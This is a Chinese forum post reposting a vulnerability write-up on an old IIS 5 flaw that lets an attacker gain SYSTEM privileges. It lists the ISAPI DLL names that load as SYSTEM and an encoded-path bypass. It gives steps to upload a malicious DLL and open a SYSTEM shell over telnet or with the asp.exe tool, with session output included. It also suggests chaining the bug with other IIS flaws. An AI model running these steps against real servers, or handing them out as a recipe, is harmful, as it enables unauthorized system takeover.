Google
      
发新话题
打印

IIS提升权限漏洞(BY 袁哥)

IIS提升权限漏洞(BY 袁哥)

除了公布3个拒绝服务漏洞外还公布了两个比较严重的漏洞。一个是IIS的SSINC.DLL溢出漏洞,另一个是IIS提升权限漏洞。其实我们的计划是SSINC.DLL的溢出公布后下一个就是这个权限提升漏洞。不过由于微软补丁的速度问题,没想到被别人先通告微软了。
 
  下面是原来内部的一些资料: 
  IIS4默认情况下,应用程序保护选项是“低(共用IIS进程)”,所以加载isapi的时候是以加载IIS的身份执行。但WIN2K+IIS5.0默认情况下应用程序保护选项是“中(共用的)”,这时IIS加载isapi是用的iwam_computername用户身份执行。
  但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名,并且没有做目录限制,以SYSTEM权限加载的isapi有:
   1、 idq.dll
   2、 httpext.dll
   3、 httpodbc.dll
   4、 ssinc.dll
   5、 msw3prt.dll
   6、 author.dll
   7、 admin.dll
   8、 shtml.dll
   9、 sspifilt.dll
   10、compfilt.dll
   11、pwsdata.dll
   12、md5filt.dll
   13、fpexedll.dll
  所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug,比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll就是分离文件路径的时候没有考虑到双字节的远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题,就是"/"、"\"只识别了一个"/",所以如果请求里面使用"\",就会错误的处理包含文件路径,有可能泄露东西或者出现权限漏洞,这种漏洞很多别的地方( php、asp等)也还存在。
  但在补http://www.microsoft.com/technet/security/bulletin/ms01-026.asp 补丁(%25二次解码补丁包,包含在sp3)后,加载这些isapi不是单以文件名做依据了,而是加了路径,应该是修正了此问题。
  一般默认情况下是:
   1、 idq.dll       d:\winnt\system32\idq.dll
   2、 httpext.dll     d:\winnt\system32\inetsrv\httpext.dll
   3、 httpodbc.dll    d:\winnt\system32\inetsrv\httpodbc.dll
   4、 ssinc.dll      d:\winnt\system32\inrtsrv\ssinc.dll
   5、 msw3prt.dll     d:\winnt\system32\msw3prt.dll
   6、 author.dll     D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll
   7、 admin.dll      D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll

   8、 shtml.dll      D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll
   9、 sspifilt.dll    d:\winnt\system32\inetsrv\sspifilt.dll
   10、compfilt.dll    d:\winnt\system32\inetsrv\compfilt.dll
   11、pwsdata.dll     d:\winnt\system32\inetsrv\pwsdata.dll
   12、md5filt.dll     d:\winnt\system32\inetsrv\md5filt.dll
   13、fpexedll.dll    D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll
 
   正常情况下这些路径都guest不能写所以应该算已经补上。但如果配置不好,这些路径guest能够写了就
一样可以提升权限了

win2000的getadmin

  把此dll上传到IIS的可执行目录,文件名可叫ssinc.dll或者admin.dll等(上面列的13个文件名之一)。然后使用telnet或者原来的asp.exe。
  1、使用telnet。因为这不是专门的客户端,使用参数“?okok”让通信不加密,如果不带这参数将是乱码。
D:\WINNT\temp>telnet 192.168.8.48 80
get /scripts/ssinc.dll?okok
XORDATAMicrosoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
D:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM
D:\WINNT\system32>
 2、使用asp.exe。同样支持iisput、iisget、iiscmd等命令。
E:\work\asp\Debug>asp 192.168.8.48 /scripts/ssinc.dll
IIS4.0 OVERFLOW PROGRAM 2.0 .
copy by yuange 2000.6.2.
welcome to my homepagehttp://yuange.yeah.net .
welcome tohttp://www.nsfocus.com .
usage: asp <server> [aspfile] [webport] [offset]
nuke ip: 192.168.8.48 port 80
offset:0
shellcode long 0x143c
packetlong:0x1003c
send packet 65634 bytes.
recv:
TRACK / HTTP/1.1
HOST:192.168.8.48
ok!recv 8 bytes
recv:XORDATAMicrosoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
D:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM
  对于IIS4默认情况下加载ISAPI的DLL都是SYSTEM权限,要得到SYSTEM权限那就根本不是问题。但IIS5默认不是,就需要利用这个提升权限漏洞。这个漏洞照现在公布的,需要有个可写目录供上传利用的dll,因为UNICODE漏洞所以不一定要在虚拟目录,不过默认情况下虚拟可执行目录/scripts可写。
  其实结合别的漏洞,根本不需要可写目录,不需要上传DLL可以利用IIS自身带的一些DLL,利用UNICODE、利用溢出,利用再一个漏洞、加上这个提升权限的漏洞,那就可以一步到位,直接得到system权限。
  WINDOWS、IIS等漏洞太多,现在利用IIS漏洞都是玩组合了。像上面说的实际应用中就可以一下利用我们发现的unicode、fpse扩展溢出、截断、提升权限漏洞4个大漏洞

TOP

发新话题
?>